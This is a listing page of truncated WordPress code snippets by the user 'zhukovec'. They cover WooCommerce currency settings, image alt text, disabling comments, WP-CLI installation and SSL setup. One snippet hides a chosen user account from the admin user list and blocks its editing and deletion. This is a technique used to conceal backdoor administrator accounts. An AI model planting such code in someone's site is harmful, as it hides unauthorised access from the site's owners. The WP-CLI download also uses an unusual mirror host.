zhukovec

// меняем символ валюты
add_filter( 'woocommerce_currencies', 'add_my_currency' );
function add_my_currency( $currencies ) {
     $currencies['BYN'] = __( 'Белорусский рубль', 'woocommerce' );
     return $currencies;
}

add_filter('woocommerce_currency_symbol', 'add_my_currency_symbol', 10, 2);
function add_my_currency_symbol( $currency_symbol, $currency ) {
     switch( $currency ) {

zhukovec

<script> 
  jQuery(document).ready(function(){
        wpcf7.cached = 0; 
    })
</script>

zhukovec

<?
add_filter('wp_get_attachment_image_attributes', 'change_attachement_image_attributes', 20, 2);
function change_attachement_image_attributes($attr, $attachment) {
    global $post;
    if ($post->post_type == 'product') {
        $title               =  $post->post_title;
        static $num          =  0;
        $num++;
        $attr['alt']         =  sprintf("Фото %d - %s.",$num,$title);
    }

zhukovec

add_action('pre_user_query','misha_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','misha_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');

function misha_protect_user_query( $user_search ) {
    $user_id = get_current_user_id();
    $id = get_option('_pre_user_id');

    if ( is_wp_error( $id ) || $user_id == $id)

zhukovec

<?php if ( get_post_meta($post->ID, 'custom-field-name', true) ) : ?>
<?php echo get_post_meta($post->ID, 'custom-field-name', true); ?>
<?php endif; ?>

zhukovec

// install WordPress
wp core download --locale=pt_BR

// configuration wp-config.php 
wp core config --dbname=testecli --dbuser=root --dbpass=root --dbprefix=wp_ --locale=pt_BR

// generate database
wp db create

// install WordPress

zhukovec

#!/bin/bash
# This script installs WordPress from Command Line.

#Colors settings
BLUE='\033[0;34m'
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[0;33m'
NC='\033[0m' # No Color

zhukovec

# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

zhukovec

//installation of wordpress client
curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar

//check if it works
php wp-cli.phar --info

//setting permissions and scope (UNIX environment)
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp

zhukovec

<?php

// Disable support for comments and trackbacks in post types
function df_disable_comments_post_types_support() {
	$post_types = get_post_types();
	foreach ($post_types as $post_type) {
		if(post_type_supports($post_type, 'comments')) {
			remove_post_type_support($post_type, 'comments');
			remove_post_type_support($post_type, 'trackbacks');
		}